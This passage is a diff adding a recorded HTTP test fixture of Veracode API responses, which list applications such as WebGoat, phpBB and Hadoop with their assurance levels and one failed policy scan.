+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:11:04 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:12:17 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
